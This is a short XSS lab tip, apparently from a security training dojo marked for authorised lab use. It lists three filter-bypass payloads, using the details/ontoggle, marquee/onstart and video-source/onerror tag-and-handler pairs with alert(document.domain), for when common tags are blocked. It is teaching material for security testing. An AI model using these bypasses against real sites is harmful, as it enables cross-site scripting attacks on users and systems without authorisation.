script/img/svg/iframe are blocked. Reach for a rarer tag+handler: <details open ontoggle=alert(document.domain)>, <marquee onstart=alert(document.domain)>, <video><source onerror=alert(document.domain)>.
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only